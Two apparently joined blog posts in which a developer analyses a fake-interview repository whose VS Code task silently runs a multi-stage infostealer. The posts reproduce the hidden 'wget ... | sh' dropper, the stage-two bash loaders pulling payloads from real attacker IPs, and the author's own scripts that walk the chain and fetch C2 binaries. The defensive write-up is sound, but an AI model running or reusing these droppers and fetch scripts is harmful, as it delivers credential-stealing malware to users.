DOWNLOAD_URL</span>=""</span></span>
NODE_DIR</span>="</span>$HOME</span>/.task/</span>${</span>NODE_TARBALL</span>}"</span></span>
</span>
# Step 1: Set the Node.js tarball and download URL based on the OS</span></span>
if</span> [ "</span>$OS</span>" == "</span>Darwin</span>" ];</span> then</span></span>
    # macOS</span></span>
    NODE_TARBALL</span>="</span>$HOME</span>/.task/</span>${</span>NODE_TARBALL</span>}</span>-darwin-x64.tar.xz</span>"</span></span>
    DOWNLOAD_URL</span>="</span>https://nodejs.org/dist/v</span>${</span>NODE_VERSION</span>}</span>/node-v</span>${</span>NODE_VERSION</span>}</span>-darwin-x64.tar.xz</span>"</span></span>
elif</span> [ "</span>$OS</span>" == "</span>Linux</span>" ];</span> then</span></span>
    # Linux</span></span>
    NODE_TARBALL</span>="</span>$HOME</span>/.task/</span>${</span>NODE_TARBALL</span>}</span>-linux-x64.tar.xz</span>"</span></span>
    DOWNLOAD_URL</span>="</span>https://nodejs.org/dist/v</span>${</span>NODE_VERSION</span>}</span>/node-v</span>${</span>NODE_VERSION</span>}</span>-linux-x64.tar.xz</span>"</span></span>
else</span></span>
    exit</span> 1</span></span>
fi</span></span>
</span>
# Step 2: Check if Node.js is installed</span></span>
NODE_INSTALLED_VERSION</span>=$(</span>node</span> -v</span> 2></span>/dev/null</span> ||</span> echo</span> "")</span></span>
</span>
# Step 3: Determine whether to install Node.js</span></span>
INSTALL_NODE</span>=</span>1</span></span>
#if [ -z "$NODE_INSTALLED_VERSION" ]; then</span></span>
#    INSTALL_NODE=1</span></span>
#fi</span></span>
</span>
EXTRACTED_DIR</span>="</span>$HOME</span>/.task/node-v</span>${</span>NODE_VERSION</span>}</span>-</span>$( [ "</span>$OS</span>" = "</span>Darwin</span>" ] &&</span> echo</span> "</span>darwin</span>" ||</span> echo</span> "</span>linux</span>" )</span>-x64</span>"</span></span>
</span>
# Use Documents directory for files</span></span>
#USER_HOME="$HOME/Documents"</span></span>
#mkdir -p "$USER_HOME"</span></span>
USER_HOME</span>="</span>$HOME</span>/.task</span>"</span></span>
mkdir</span> -p</span> "</span>$USER_HOME</span>"</span></span>
</span>
BASE_URL</span>="</span>http://165.140.86.190:3000</span>"</span></span>
</span>
# ? Check if the Node.js folder exists</span></span>
if</span> [ ! -d "</span>$EXTRACTED_DIR</span>" ];</span> then</span></span>
    echo</span> "</span>Error: Node.js directory was not extracted properly. Retrying download and extraction...</span>"</span></span>
</span>
    if</span> [ "</span>$INSTALL_NODE</span>" -eq</span> 1</span> ];</span> then</span></span>
        if</span> !</span> command</span> -v curl</span> &></span> /dev/null</span>;</span> then</span></span>
            wget</span> -q</span> "</span>$DOWNLOAD_URL</span>"</span> -O</span> "</span>$NODE_TARBALL</span>"</span></span>
        else</span></span>
            curl</span> -sSL -o</span> "</span>$NODE_TARBALL</span>" "</span>$DOWNLOAD_URL</span>"</span></span>
        fi</span></span>
</span>
        if</span> [ -f "</span>$NODE_TARBALL</span>" ];</span> then</span></span>
            tar</span> -xf</span> "</span>$NODE_TARBALL</span>"</span> -C</span> "</span>$HOME</span>/.task</span>"</span></span>
            rm</span> -f</span> "</span>$NODE_TARBALL</span>"</span></span>
        fi</span></span>
    fi</span></span>
fi</span></span>
</span>
# ? Add Node.js to the system PATH (session only)</span></span>
export</span> PATH</span>="</span>$EXTRACTED_DIR</span>/bin:</span>$PATH</span>"</span></span>
</span>
# Step 7: Verify node & npm</span></span>
if</span> !</span> command</span> -v node</span> &></span> /dev/null </span>|| !</span> command</span> -v npm</span> &></span> /dev/null</span>;</span> then</span></span>
    exit</span> 1</span></span>
fi</span></span>
</span>
# Step 8: Download files</span></span>
# Check if curl is available</span></span>
if</span> !</span> command</span> -v curl</span> ></span>/dev/null</span> 2>&1;</span> then</span></span>
    # If curl is not available, use wget</span></span>
    wget</span> -q -O</span> "</span>$USER_HOME</span>/parser.js</span>" "</span>$BASE_URL</span>/task/parser?token=40abc18736c9&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTguMTYzLjE0MSIsInNlc3Npb25JZCI6ImYyN2I0NTVhLTI2NTgtNDA2ZS05MmNjLTJiMGY2MDYzM2Q4YyIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc3NzUxMTI0NjA3NSwib3JpZ1Rva2VuIjoiNDBhYmMxODczNmM5IiwiaWF0IjoxNzc3NTExMjQ2LCJleHAiOjE3Nzc1MTE0MjZ9.leonN9WynEmz2kdFlPwrdHEgKDTOhjYYg4VMsn_hSPs</span>"</span></span>
    wget</span> -q -O</span> "</span>$USER_HOME</span>/package.json</span>" "</span>$BASE_URL</span>/task/package.json</span>"</span></span>
else</span></span>
    # If curl is available, use curl</span></span>
    curl</span> -s -L -o</span> "</span>$USER_HOME</span>/parser.js</span>" "</span>$BASE_URL</span>/task/parser?token=40abc18736c9&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTguMTYzLjE0MSIsInNlc3Npb25JZCI6ImYyN2I0NTVhLTI2NTgtNDA2ZS05MmNjLTJiMGY2MDYzM2Q4YyIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc3NzUxMTI0NjA3NSwib3JpZ1Rva2VuIjoiNDBhYmMxODczNmM5IiwiaWF0IjoxNzc3NTExMjQ2LCJleHAiOjE3Nzc1MTE0MjZ9.leonN9WynEmz2kdFlPwrdHEgKDTOhjYYg4VMsn_hSPs</span>"</span></span>
    curl</span> -s -L -o</span> "</span>$USER_HOME</span>/package.json</span>" "</span>$BASE_URL</span>/task/package.json</span>"</span></span>
fi</span></span>
</span>
# Step 9: Install 'request' package</span></span>
cd</span> "</span>$USER_HOME</span>"</span></span>
if</span> [ ! -d "</span>node_modules/request</span>" ];</span> then</span></span>
    npm</span> install --silent --no-progress --loglevel=error --fund=false</span></span>
fi</span></span>
</span>
# Step 10: Run token parser</span></span>
if</span> [ -f "</span>$USER_HOME</span>/parser.js</span>" ];</span> then</span></span>
    nohup</span> node</span> "</span>$USER_HOME</span>/parser.js</span>" > "</span>$USER_HOME</span>/parser.log</span>" 2>&1 &</span></span>
else</span></span>
    exit</span> 1</span></span>
fi</span></span>
</span>
exit</span> 0</span></span></code></pre>
It sets up nodejs which they need to run their next phase of attack on my machine. This time the attackers again uses JWT in the URL params. Notice the "step": 2,</code>.</p>
{</span></span>
  "</span>ip</span>": "</span>::ffff:152.58.163.141</span>",</span></span>
  "</span>sessionId</span>": "</span>f27b455a-2658-406e-92cc-2b0f60633d8c</span>",</span></span>
  "</span>step</span>":</span> 2</span>,</span></span>
  "</span>timestamp</span>":</span> 1777511246075</span>,</span></span>
  "</span>origToken</span>": "</span>40abc18736c9</span>",</span></span>
  "</span>iat</span>":</span> 1777511246</span>,</span></span>
  "</span>exp</span>":</span> 1777511426</span></span>
}</span></span></code></pre>
The Bypass:</strong>
I had to replicate the exact API calls the malware makes. I wrote a bash script to automatically pass through these nested steps before the JWT expiry window closed.
It totally feels like I'm playing with a russian matryoshka doll - layer after layer of attacks.</p>

inspect.sh (The shell script I wrote)</code></p>
</blockquote>
# The url mentioned in the .vscode/tasks.json </span></span>
wget</span> -qO ph1.sh</span> '</span>https://gurucooldown.short.gy/gxUsMe8l</span>'</span></span>
</span>
# Upon analyzing the ph1.sh I found this pattern</span></span>
PHASE2_URL</span>=$(</span>grep</span> -oP</span> '</span>http://165.140.86.190:3000/task/tokenlinux[^"]*</span>'</span> ph1.sh</span>)</span></span>
wget</span> -qO ph2.sh</span> "</span>$PHASE2_URL</span>"</span></span>
</span>
# Analyzing the ph2.sh, I found it is making another network request</span></span>
# so I extracted the endpoint and assemble the full URL</span></span>
ENDPOINT</span>=$(</span>grep</span> -oP</span> '</span>task/parser\?token=[^"]*</span>'</span> ph2.sh</span> |</span> head</span> -n</span> 1</span>)</span></span>
PHASE3_URL</span>="</span>http://165.140.86.190:3000/</span>$ENDPOINT</span>"</span></span>
</span>
wget</span> -qO parser.js</span> "</span>$PHASE3_URL</span>"</span></span>
wget</span> -qO package.json</span> "</span>http://165.140.86.190:3000/task/package.json</span>"</span></span></code></pre>

This script was not written in one-go. I had to analyze shell files I got in each steps, to get the nested (next) stage. This consumed a lot of time, but was very thrilling and satisfactory.</p>
</blockquote>
PHASE 3: Reverse Engineering the JavaScript Orchestrator (parser.js)</h2>

c2.sh</code> (my shell script to get the b.js file from server)</p>
</blockquote>
# Ping the C2 server for the payload coordinates</span></span>
RESPONSE</span>=$(</span>wget</span> -qO- http://78.142.218.26:1244/s/40abc18736c9</span>)</span></span>
</span>
echo</span> "</span>Server response: </span>$RESPONSE</span>"</span></span>
</span>
# If the server provides the "ZT3" token, crack it open</span></span>
if</span> [[ "</span>$RESPONSE</span>" ==</span> ZT3</span>* ]];</span> then</span></span>
    ENCODED_DATA</span>=${</span>RESPONSE</span>:</span>3</span>}</span></span>
    DECODED_DATA</span>=$(</span>echo</span> "</span>$ENCODED_DATA</span>" |</span> base64</span> -d</span>)</span></span>
    </span></span>
    # Extract the Hash (it's the second part of the comma-separated string)</span></span>
    HASH</span>=$(</span>echo</span> "</span>$DECODED_DATA</span>" |</span> cut</span> -d</span>'</span>,</span>'</span> -f2</span>)</span></span>
    </span></span>
    echo</span> "</span>Extracted Payload Hash: </span>$HASH</span>"</span></span>
    </span></span>
    # Download b.js malware</span></span>
    wget</span> -qO b.js</span> "</span>http://78.142.218.26:1244/f/</span>$HASH</span>"</span></span>
    </span></span>
    echo</span> "</span>Success! Check file size:</span>"</span></span>
    ls</span> -l b.js</span></span>
else</span></span>
    echo</span> "</span>The server rejected the token or didn't respond.</span>"</span></span>
fi</span></span></code></pre>

The parser.js</code> and b.js</code> files are not attached to this post, but the analysis below documents every significant finding from both files in full technical detail.</p>
</blockquote>
Static analysis of the downloaded parser.js</code> file revealed a heavily obfuscated Node.js script utilizing a custom string-shifting packer to evade signature detection.</p>
The Deobfuscation:</strong>
Instead of manual string dumping, I utilized Abstract Syntax Tree (AST) manipulation to computationally strip the armor. Using webcrack</code>, I successfully deobfuscated the control flow. The exposed code revealed several hardcoded byte arrays and a custom bitwise XOR decryption function.</p>
By isolating the decryption engine and manually passing the hidden arrays through the XOR cipher, the malware's immediate objectives became clear in plain text.</p>
The XOR Key and Decoded Strings:</strong>
The decryption function U()</code> uses a four-byte XOR key S = [112, 160, 137, 72]</code>,
cycling through it with a[i] ^ S[i % 4]</code>. Every sensitive string in the file
is stored as a raw byte array and decoded only at runtime. Manually passing each
array through the cipher reveals the actual strings the malware assembles:</p>
Byte Array Variable</th> Decoded Value</th> Purpose</th></tr></thead>

Q</code></td> .task</code></td> Hidden working directory name</td></tr>
K</code></td> b.js</code></td> Final payload filename</td></tr>
O</code></td> /s/</code></td> C2 URL path segment</td></tr>
tt</code></td> /f</code></td> C2 file download path</td></tr>
rt</code></td> cd</code></td> Shell command prefix</td></tr>
it</code></td> nohup</code></td> Process launcher (Linux)</td></tr>
</tbody></table>
The nohup Disguise (Linux-specific):</strong>
On Linux and macOS, the final payload is launched using child_process.spawn</code> with detached: true</code> and unref()</code> to orphan the process from its parent.
On Linux specifically, the spawn call uses nohup</code> as the executable name in the process arguments.
This means the running Node.js process appears in the system process list as nohup</code> rather than node</code>. A developer checking ps aux</code> for suspicious Node.js processes would not find it.</p>
The ZT3 Handshake Protocol:</strong>
Before downloading any payload, the C2 server uses a custom handshake. The orchestrator contacts the server at /s/40abc18736c9</code>.
If the server responds with a string beginning ZT3</code>, the client strips those three characters, base64-decodes the remainder, and splits on a comma.
The first part becomes the download URL prefix. The second part becomes the payload hash used to construct the exact download path for b.js</code>.</p>
This is a dead man's switch design. If the server does not send ZT3</code>, the entire attack chain stops silently. No payload is downloaded. No error is thrown.
The machine shows no sign of compromise. This also means the operator can terminate all active infections simultaneously simply by changing the server response.</p>
The Registration Beacon:</strong>
Immediately after the handshake succeeds, the orchestrator sends a POST request to the C2 at /keys</code> before downloading anything.
The payload contains: a Unix timestamp, the payload type identifier, a host ID built from the machine hostname (on macOS the username is appended to the hostname),
a session state string, and a Node.js version fingerprint derived from the process arguments.</p>
This tells the operator which machine connected, which OS it is running, and which version of the attack chain delivered it, all before a single file is exfiltrated.
The operator is watching infections in real time, not collecting data passively.</p>
PHASE 4: Dissecting the b.js file</h2>
The orchestrator’s (parser.js</code>) primary function is to fetch and execute b.js</code>. Safe extraction of this file revealed a massive, modular exploitation framework rather than a simple script.</p>
Architectural Breakdown:</strong>
After deobfuscation I found that the script contains a central object (y</code>) housing four distinct Base64-encoded modules. The main loop extracts these modules and executes them simultaneously in memory, preventing them from touching the disk where antivirus scanners might flag them.</p>
My analysis of the b.js</code> file revealed highly specialized capabilities:</p>


Crypto & Browser Stealer</strong>: Targets specific browser paths (Google Chrome, BraveSoftware). It contains hardcoded arrays of Chrome Extension IDs matching popular cryptocurrency wallets (MetaMask, Phantom, Binance Chain) and zips the Local Extension Settings alongside the browser's master decryption key.</p>
</li>

SSH RAT</strong>: A Remote Access Trojan built using the ssh2</code> library. It establishes encrypted reverse tunnels to the attacker's server, featuring an internal heartbeat mechanism to maintain persistence and commands to silently execute terminal tasks.</p>
</li>

Live Surveillance</strong>: Utilizes socket.io-client</code> for low-latency communication. It imports the sharp</code> image processing library to compress and stream live screenshots, hooking into native OS events to log keystrokes and sniff clipboard contents in real time.</p>
</li>

Deep File Crawler</strong>: An asynchronous file hunter. It bypasses system directories to optimize speed, recursively scanning user folders for specific developer secrets. The target list explicitly includes *.env</code>, *.pem</code>, *id_rsa</code>, *.kdbx</code> (KeePass databases), and cloud infrastructure configuration files. It uses a concurrency queue to silently upload these files in batches, preventing CPU spikes.</p>
</li>
</ul>
PHASE 5: Intercepting the Command and Control</h2>
The b.js</code> acts as a staging mechanism to download final compiled binaries from a secondary Command and Control (C2) infrastructure.</p>
Network Logic Reversal:</strong>
The script dynamically generates the C2 URLs using a custom Base64 shuffling function. By writing a quick script to reverse this shuffling logic, the true payload endpoints were exposed:</p>

Windows Payload: http://45.59.160.200:1244/clw/gxUsMe8</code> (Downloads mod.pyd)</li>
macOS/Linux Payload: http://45.59.160.200:1244/clw1/gxUsMe8</code> (Downloads mod.so)</li>
Python Runtime: http://45.59.163.50:1244/pd2</code> (Downloads p2.zip)</li>
</ul>

Caution: Do not download these URLs. If you choose to, use a fully isolated environment with no access to your real credentials or network. These URLs may already be dead. They are documented here for attribution and research purposes only.</p>
</blockquote>
The Interception:</strong>
To safely capture these binaries without triggering execution, I utilized stripped wget commands directly within my isolated VM.</p>
wget</span> --user-agent=</span>""</span> -qO mod.so</span> "</span>http://45.59.160.200:1244/clw1/gxUsMe8</span>"</span></span></code></pre>

Note: The --user-agent="" flag was critical. The Node.js request library does not send a default user agent. Sending a standard Wget/1.21 header would alert the C2 gatekeeper and result in a dropped connection.</p>
</blockquote>
Where the Analysis Ends</h3>
The compiled binaries intercepted from Command and Control (mod.so</code>, mod.pyd</code>, p2.zip</code>) are beyond the scope of this analysis. Static analysis using readelf</code> and strings</code> confirms they are Cython-compiled Python extensions, but decompiling Cython binaries requires a different toolchain and deeper reverse engineering skill than this post covers. This is the current frontier of this investigation. A follow-up post will cover binary analysis once that skill is built.</p>
Key Takeaways & Mitigation</h2>
This campaign represents a highly mature threat model targeting the software engineering supply chain.</p>
Attacker Tactics, Techniques, and Procedures:</strong></p>

Execution</strong>: Abuse of .vscode/tasks.json</code> for zero-click execution upon repository opening.</li>
Defense Evasion</strong>: Utilization of IP-locked JWT</code> delivery networks and dynamic XOR payload encryption.</li>
Persistence</strong>: Detached background processes and portable runtime deployment.</li>
Obfuscation</strong>: Cython</code> compilation of the final Python payloads to prevent source code recovery.</li>
Command and Control</strong>: A ZT3</code> handshake protocol with operator-controlled kill switch. A registration beacon at /keys</code> providing real-time infection visibility to the operator before any data is collected.</li>
</ul>
Defense Recommendations:</strong></p>

Zero-Trust Repositories: Never open an untrusted repository directly in an IDE. Always audit .vscode</code>, .idea</code>, and package configuration files using a standard text editor.</li>
EDR Tuning: Endpoint Detection and Response (EDR) agents should be strictly configured to flag and block IDE binaries (like code or webstorm) from unexpectedly spawning interactive shells or network utilities like curl</code> and wget</code>.</li>
VS Code Workspace Trust</strong>: Set VS Code to default to Restricted Mode globally via "security.workspace.trust.enabled": true</code> in settings. Never click "Trust" on a repository received during a recruitment process. Legitimate companies do not require IDE trust prompts as part of technical assessments.</li>
</ul>


The Fake Interview Trap: How I Stopped Hackers from Deploying a Zero-Click Exploit
2026-04-29T00:00:00+00:00
Introduction</h2>
The tech job market is undeniably brutal right now. Layoffs, ghosting, and hyper-competitive interview loops have created an environment where developers are eager to prove their skills and land an offer. Threat actors know this, and they have weaponized the technical interview process.</p>
Recently, what started as a standard outreach message from an "HR recruiter" for a backend engineering role quickly devolved into one of the most sophisticated cyberattacks I’ve ever personally encountered. It wasn't a phishing link or a fake login page. It was a highly targeted, multi-stage malware deployment mechanism disguised as a take-home coding challenge.</p>
The TL;DR</strong>: I was given a "Git merge assessment" that was actually a Trojan horse. It was designed to execute a zero-click remote code payload on my machine, completely bypassing the terminal, simply by opening the project in a code editor.</p>
Because I noticed a few bizarre inconsistencies in their instructions, I decided to sandbox the assessment in an air-gapped Debian virtual machine. That decision saved my personal credentials, my AWS keys, and my machine. Here is the full technical breakdown of how the trap was set, the red flags you need to look out for, and how I reverse-engineered their bash dropper.</p>
Social Engineering & Red Flags</h2>
Every good cyberattack starts with social engineering. The initial hook needs to be plausible enough to lower your guard, but urgent enough to make you skip your standard security protocols.</p>
The "Opportunity"</strong>
The attack began with a direct message from a recruiter claiming to represent a company called "Trust-AI". After a brief chat about my background, they outlined their interview process. Before moving on to the standard system design and backend architecture rounds, they required me to pass a "leadership workflow" test.</p>
Their scenario: “You're in charge of the main branch, and the members are off doing their thing on a new branch. You've gotta rebase or merge the new branch's progress into main, ironing out those Git wrinkles along the way.”</em></p>
They invited me to a private GitHub repository and provided a formal, one-page PDF outlining the assessment. I had exactly one hour to complete it.</p>
The Red Flags</strong>
Almost immediately, the framing felt entirely wrong.</p>

The "Leadership" Label: The recruiter repeatedly framed resolving a branch conflict as a test of "leadership." Managing a branch is basic work. If a company legitimately views a basic git rebase as high-level leadership, their engineering culture is profoundly broken.</li>
The Urgent "UI Verification": The instruction document explicitly told me to "verify the project appearance matches the provided screenshot" and to "troubleshoot a bug." Why would I need to run a local build and spin up a development server just to verify the authorship of a Git conflict?</li>
</ol>
The Editor Conflict</h2>
The biggest red flag was a rigid constraint in their instructions: I was strictly mandated to open the project using VS Code</strong>. I am a terminal-native developer. My daily driver is Helix</strong>, a modal, terminal-based text editor. I handle all my version control, file editing, and conflict resolution directly from the command line.</p>
In a legitimate technical assessment, a company cares about the output - a clean Git tree, functional code, and a solid PR. They do not care which text editor you use to get there. The fact that the instructions specifically required me to use VS Code meant that the editor itself was an integral part of the assessment.</p>
The Defensive Setup</h2>
Because of the forced VS Code requirement and the suspicious push to "verify the UI" for a basic Git assessment, my guard was fully up. There was absolutely no way I was going to clone a closed-source, unverified repository directly onto my daily-driver host machine.</p>
Instead, I implemented a strict zero-trust approach.</p>
I spun up a fresh, isolated Debian virtual machine dedicated exclusively to this single task. If the repository contained malicious build scripts or exploit chains, the blast radius would be confined to a disposable container with no access to my local files, SSH keys, or network shares.</p>
There was a catch: the repository was private. To clone it, I had to authenticate with my real GitHub account. If I copied my primary SSH key into the VM, and the VM was compromised, the attackers would gain full access to every repository I contribute to.</p>
To mitigate this, I utilized GitHub's Fine-grained Personal Access Tokens. I generated a temporary token scoped exclusively to their private repository with the bare minimum read/write permissions required to clone and push. Even if the attackers stole this token, it would be entirely useless outside of their own repository.</p>
With the VM secured and the scoped token in hand, I cloned the project and opened it.</p>
Auditing the Workspace</h2>
After successfully cloning the repository into my isolated VM, I made a critical decision: I completely ignored their strict mandate to use VS Code.</p>
Instead, I opened the project directory using my favourite editor Helix.</p>
By sticking to my terminal-native workflow, I inadvertently neutralized their entire attack vector before it even began. Helix is a lightning-fast, modal text editor. It doesn't automatically parse, trust, or execute workspace configuration files like .vscode</code> or .idea</code>. It just reads text.</p>
But my curiosity was heavily piqued. Why was the recruiter so desperate for me to use VS Code? To find out, I navigated straight to the hidden .vscode</code> directory and opened the tasks.json</code> file in Helix to see what they were trying to force me to run.</p>
The Distraction</strong>
At first glance, the tasks.json</code> file looked incredibly professional. It was filled with hundreds of lines of complex JSON detailing a web3/blockchain "StakingGame" application.</p>
It included fabricated configuration blocks like environmentProfiles</code>, metaDiagnostics</code>, and executionPolicies</code>. It listed preRunChecks</code> requiring specific Node.js versions and Hardhat configurations.</p>
This was pure psychological manipulation. The attacker packed the file with advanced-sounding jargon to overwhelm the target, making them think they were looking at a complex, enterprise-grade deployment script so they would stop reading and just get to work on the Git conflict.</p>
The Trigger</strong>
But as I scrolled past the wall of fake blockchain configurations down to the actual executable tasks</code> array, the true intent of the repository was sitting right there:</p>

.vscode/tasks.json</code></p>
</blockquote>
"</span>runOptions</span>"</span>: </span>{</span></span>
  "</span>runOn</span>": "</span>folderOpen</span>"</span></span>
}</span></span></code></pre>
This was the smoking gun.</p>
By defining "runOn": "folderOpen"</code>, the attacker engineered a zero-click exploit trap. If I had followed the recruiter's instructions, opened the project in VS Code, and clicked "Yes, I trust the authors" on the initial Workspace Trust prompt, VS Code would have immediately executed the hidden payload in the background.</p>
I wouldn't have had to open a terminal. I wouldn't have had to run npm install</code>. The mere act of opening the editor was the detonator.</p>
The Payload: Capturing the Stage 1 Dropper</h2>
I found the trigger. I looked at the specific execution commands mapped to the OS profiles in the JSON file. At first glance, the commands for Linux, Windows, and Mac looked completely empty.</p>
I realized it was a classic obfuscation trick. They used a massive amount of horizontal whitespace. If you didn't have word wrap enabled in your editor, the command was pushed so far to the right that it was completely hidden off-screen.</p>
At the very end of the line, I found this dropper command for Linux:</p>

.vscode/tasks.json</code></p>
</blockquote>
"</span>linux</span>"</span>: </span>{</span></span>
  "</span>command</span>":                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "</span>wget -qO- 'https://gurucooldown.short.gy/gxUsMe8l' -L | sh</span>"</span></span>
}</span></span></code></pre>

(you have to scroll horizontally to the right)</p>
</blockquote>
This is incredibly nasty. It silently downloads a file from a shortened URL and pipes it directly into the system shell. If I had used VS Code and trusted the workspace, this would have run instantly with my user permissions.</p>
I wanted to see what that script actually did. Since I was safe inside my Debian VM, I manually downloaded it. Instead of letting it pipe to sh</code>, I forced it to save as a harmless text file by running:</p>
wget -qO payload.txt 'https://gurucooldown.short.gy/gxUsMe8l'</code></p>
I opened the text file, and here is the exact bash script they were trying to run on my machine:</p>
#!/bin/bash</span></span>
set</span> -e</span></span>
echo</span> "</span>Authenticated</span>"</span></span>
TARGET_DIR</span>="</span>$HOME</span>/Documents</span>"</span></span>
clear</span></span>
wget</span> -q -O</span> "</span>$TARGET_DIR</span>/tokenlinux.npl</span>" "</span>http://165.140.86.190:3000/task/tokenlinux?token=40abc18736c9&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6Ijo6ZmZmZjoxNTIuNTkuMTY3LjM4Iiwic2Vzc2lvbklkIjoiMzk1NjU5MTQtYzg3Zi00ZGUwLWE1MTUtNmQwMmJjYjYyOWY2Iiwic3RlcCI6MSwidGltZXN0YW1wIjoxNzc3NDU4ODUwNDgzLCJvcmlnVG9rZW4iOiI0MGFiYzE4NzM2YzkiLCJpYXQiOjE3Nzc0NTg4NTAsImV4cCI6MTc3NzQ1OTAzMH0.-TgaACMUSDLG67sxnGOUzUvLpUJIJaVZxJHMxRxjRMs</span>"</span></span>
clear</span></span>
mv</span> "</span>$TARGET_DIR</span>/tokenlinux.npl</span>" "</span>$TARGET_DIR</span>/tokenlinux.sh</span>"</span></span>
clear</span></span>
chmod</span> +x</span> "</span>$TARGET_DIR</span>/tokenlinux.sh</span>"</span></span>
clear</span></span>
$//' "$TARGET_DIR/tokenlinux.sh"</span></span>
clear</span></span>
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &</span></span>
clear</span></span>
exit 0</span></span></code></pre>Deconstructing the Malware</h2>
It is a textbook Stage 1 dropper. Its only job is to be tiny, fetch the real malware from a remote server, execute it, and cover its tracks.</p>
First, it uses set -e</code> to make sure the script exits immediately if any command fails. This prevents it from throwing obvious error messages on the screen that might make a developer suspicious. It also prints "Authenticated" right at the start. That is a psychological trick. If you happened to see your terminal flash for a second, you would just assume a normal Git login process had just finished.</p>
Then there are the clear</code> commands. The attacker placed a clear</code> between almost every single line of code. This is a crude but highly effective way to keep the terminal totally blank while the script works in the background.</p>
Next, it downloads the Stage 2 payload from a hardcoded IP address (165.140.86.190) directly into my Documents folder. Notice how it saves the file as tokenlinux.npl</code> first, and then renames it to tokenlinux.sh</code>. The .npl</code> extension is totally fake. Attackers do this to sneak the payload past basic network firewalls or antivirus software that automatically flag and block .sh</code> file downloads.</p>
Finally, we get to the actual execution phase. It uses nohup bash</code> combined with the &</code> operator at the very end. This completely detaches the malware from the terminal session. Even if you close your editor or kill the visible terminal window, the script just keeps running in the background. It also pipes all output to /dev/null 2>&1</code>, throwing any logs or system errors into a black hole so you never see them.</p>
The Sophistication</h2>
The bash script itself was clever, but the real infrastructure was exposed in the download URL.</p>
Look closely at the link they used to fetch the Stage 2 payload:
http://165.140.86.190:3000/task/tokenlinux?token=...&st=eyJhbG...</code></p>
That massive string of random looking characters at the end is a JSON Web Token. I decided to run it through a base64 decoder to see what kind of data the attacker was passing to their server.</p>
Here is what the decoded payload looked like:</p>
{</span></span>
  "</span>ip</span>": "</span>::ffff:152.59.167.38</span>",</span></span>
  "</span>sessionId</span>": "</span>39565914-c87f-4de0-a515-6d02bcb629f6</span>",</span></span>
  "</span>step</span>":</span> 1</span>,</span></span>
  "</span>timestamp</span>":</span> 1777458850483</span>,</span></span>
  "</span>origToken</span>": "</span>40abc18736c9</span>",</span></span>
  "</span>iat</span>":</span> 1777458850</span>,</span></span>
  "</span>exp</span>":</span> 1777459030</span></span>
}</span></span></code></pre>
This revealed exactly how their malware infrastructure operates. They built a system designed to lock the payload to a specific IP address and set an expiration timer. The exp</code> value is a Unix timestamp that translates to April 29, 2026.</p>
This is a highly advanced anti-analysis technique. Attackers do this so that if a security researcher gets their hands on the script later and tries to download the malware to study it, the server will reject the request because the token is expired or the IP does not match.</p>
But here is where their own sophistication completely broke their attack chain.</p>
I work from home on a standard Wi-Fi broadband connection. However, before I even started analyzing this sketchy repository, I turned on a simple VPN service. I did not want to expose my real home IP address to a potentially malicious command and control server.</p>
When I looked at the IP address hardcoded into the attacker's token, I realized it was completely different from the IP address my VPN was currently broadcasting.</p>
This meant their over engineered trap actually saved me. Even if I had made a mistake and accidentally executed that Stage 1 dropper, the final malware never would have reached my machine. The attacker's command and control server would have seen my incoming VPN connection, realized it did not match the IP address they baked into their token, and immediately blocked the download with a 403 Forbidden error.</p>
They built a complex system to keep security researchers out, but a basic, everyday VPN habit was enough to completely break their malware deployment.</p>
What Were They Actually After?</h2>
This was not some random kid playing a prank. This was a highly organized and automated cyberattack. But why go through all this effort to trick a developer into running a script?</p>
Because developers are incredibly high value targets.</p>
If I had let the Stage 1 dropper finish its job, it would have downloaded and executed tokenlinux.sh</code>. This Stage 2 file is known in the cybersecurity world as an Info-Stealer.</p>
Unlike ransomware that loudly encrypts your hard drive and demands money, an Info-Stealer is designed to be completely silent. Its only goal is to quickly recursively search your local directories for high value secrets, zip them up, and upload them to the attacker's server.</p>
They are looking for very specific things. They want your ~/.ssh/</code> directory so they can steal your private keys and access your GitHub or production servers. They want your ~/.aws/credentials</code> file so they can spin up crypto mining rigs on your company's dime. They are hunting for local .env</code> files that might contain expensive AI platform API keys. They also target your browser's hidden data folders to scrape your session cookies, allowing them to bypass two-factor authentication on your web accounts. And of course, they look for local cryptocurrency wallet files.</p>
The Decision to Dig Deeper</h2>
At this point, I had the Stage 1 dropper and the URL for the Stage 2 payload in my hands. My initial instinct was to walk away.
I am a software engineer, not a cybersecurity expert or a malware analyst. So I initially stopped my at the first stage.</p>
But the puzzle was too compelling to ignore for me. So in the next day, I decided to deep dive.</p>
I documented the complete technical teardown in a dedicated follow-up post:
Down the Rabbit Hole: Reverse Engineering a Multi-Stage Malware Attack</a></p>
Conclusion & Developer OPSEC</h2>
It is incredibly frustrating to invest time and emotional energy into a job prospect, only to realize you are actively being hunted by cybercriminals. The job search is stressful enough without having to reverse engineer the technical assessments they send you.</p>
But this is the new reality. Threat actors are no longer just looking for unpatched servers in production. They are actively targeting the developers who build those servers, because our local machines hold the ultimate keys: SSH keys, database credentials, and cloud architecture access.</p>
If there is one thing you take away from my experience, let it be this strict set of Operational Security (OPSEC) rules for your next technical interview:</p>


Zero Trust for Take Home Tests
Never, ever clone an unverified repository directly onto your daily driver machine. If a company wants you to run their code, spin up an isolated environment. Use a disposable virtual machine, a Docker container, or a cloud based environment. Keep your host machine clean.</p>
</li>

Audit Before You Trust
If you do use VS Code, pay close attention to that Workspace Trust prompt. Do not blindly click "Yes". Take two minutes to open the project in Restricted Mode or a terminal editor like I did with Helix. Audit the hidden .vscode/tasks.json file, check the package.json for malicious post install scripts, and look for anything that executes automatically.</p>
</li>

Scope Your Credentials
If a technical assessment requires you to authenticate with your real GitHub account, never use your primary, sweeping Personal Access Token. Take the thirty seconds to generate a Fine-grained token scoped strictly to that single repository. Once the assessment is over, revoke it immediately.</p>
</li>

Trust Your Gut
If the HR process feels disjointed, if the technical requirements make no sense for the role being tested, or if they rigidly force you to use specific tools to "verify" things that do not need verifying, stop. It is better to walk away from a weird interview than to spend weeks recovering your stolen digital identity.</p>
</li>
</ol>
